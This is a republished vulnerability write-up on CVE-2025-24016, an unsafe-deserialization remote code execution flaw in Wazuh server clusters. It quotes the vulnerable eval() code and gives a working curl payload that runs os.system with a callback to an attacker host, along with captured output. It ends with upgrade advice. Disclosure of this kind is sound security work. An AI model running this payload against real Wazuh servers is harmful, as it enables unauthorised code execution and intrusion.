CVE-2025-24016

描述: Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using as_wazuh_object (in framework/wazuh/core/cluster/common.py). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (__unhandled_exc__) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. Version 4.9.1 contains a fix.


An unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.
The vulnerability can be triggered by anybody with API access to a compromised dashboard or Wazuh servers in the cluster.

This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
The vulnerable code sits in the file /var/ossec/framework/wazuh/core/cluster/common.py at the function as_wazuh_object.
Line 1822 handles the __unhandled_exec__ from a DAPI request and calls the unsafe eval() function which allows for remote code execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1795 def as_wazuh_object(dct: Dict):
1796 try:
1797 if '__callable__' in dct:
1798 encoded_callable = dct['__callable__']
1799 funcname = encoded_callable['__name__']
1800 if '__wazuh__' in encoded_callable:
1801 # Encoded Wazuh instance method.
1802 wazuh = Wazuh()
1803 return getattr(wazuh, funcname)
1804 else:
1805 # Encoded function or static method.
1806 qualname = encoded_callable['__qualname__'].split('.')
1807 classname = qualname[0] if len(qualname) > 1 else None
1808 module_path = encoded_callable['__module__']
1809 module = import_module(module_path)
1810 if classname is None:
1811 return getattr(module, funcname)
1812 else:
1813 return getattr(getattr(module, classname), funcname)
1814 elif '__wazuh_exception__' in dct:
1815 wazuh_exception = dct['__wazuh_exception__']
1816 return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
1817 elif '__wazuh_result__' in dct:
1818 wazuh_result = dct['__wazuh_result__']
1819 return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
1820 elif '__wazuh_datetime__' in dct:
1821 return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
1822 elif '__unhandled_exc__' in dct:
1823 exc_data = dct['__unhandled_exc__']
1824 return eval(exc_data['__class__'])(*exc_data['__args__'])
1825 return dct
1826
1827 except (KeyError, AttributeError):
1828 raise exception.WazuhInternalError(1000,
1829 extra_message=f"Wazuh object cannot be decoded from JSON {dct}",
1830 cmd_error=True)

The vulnerability can be triggered by a distributed API request that allows to specify a __unhandled_exc__ request in the body of the DAPI response.
A DAPI request that does not check the request body is /security/user/authenticate/run_as implemented by run_as_login in var/ossec/api/api/controllers/security_controller.py where the auth_context argument is completely controlled by the attacker. By sending a malicious run_as request to a worker server, it is possible to execute code on the master server.

Below is an example which triggers the vulnerability using a curl based payload. You need to know the API credentials to execute this DAPI request.
curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "os.system", "__args__": ["curl http://<attacker_ip>"]}}' https://<worker-server>:55000/security/user/authenticate/run_as

1
2
curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "os.system", "__args__": ["curl http://192.168.201.10"]}}' https://localhost:56000/security/user/authenticate/run_as
{"data": {"token": "eyJhbGciOiJFUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ3YXp1aCIsImF1ZCI6IldhenVoIEFQSSBSRVNUIiwibmJmIjoxNzUyNjAwNzQ5LCJleHAiOjE3NTI2MDE2NDksInN1YiI6IndhenVoLXd1aSIsInJ1bl9hcyI6dHJ1ZSwicmJhY19yb2xlcyI6WzFdLCJyYmFjX21vZGUiOiJ3aGl0ZSIsImhhc2hfYXV0aF9jb250ZXh0IjoiYWYwNjM3ODY4NTRlZDZiMzQzNDYzZDQ4NDZjNDgwZDcifQ.ATNZjUkZImJPZkRO7Qv_ECazuECdm9JlUktqdZy4ygOOFDNBu46Fx7e5wPvEUFXro8xZbs6xP8hxYOyXwZQoMqFYAWQsEPOhzGTBmwy-R9vhLQhMtPzSV13k0SYgpyCuPZhH8-j7cazSB_jT9BlwlM9LbJ7Zbf3TrdUk0j8B3X18LbiY"}, "error": 0}%
1
2
3
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.201.85 - - [15/Jul/2025 17:32:29] "GET / HTTP/1.1" 200 -

I have submitted a Metasploit module - PR 20387 that will do all the hard work for you.
It is important to understand that the worker-server port (55000) should be exposed to the outside world in order to trigger this vulnerability.
Using it directly on the master-server port (55000) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.

Mitigation

The vulnerability exists in version 4.4.0 and all versions prior to version 4.9.1.
Please upgrade your Wazuh server to version 4.9.1 or higher.

References

CVE-2025-24016
Wazuh security advisory - GHSA-hcrc-79hj-m3qh
Metasploit - Wazuh Server authenticated RCE

Credits

DanielFi Discovery


CVE-2025-24016
http://example.com/2025/07/16/other_1651487763/
作者
lianccc
发布于
2025年7月16日
许可协议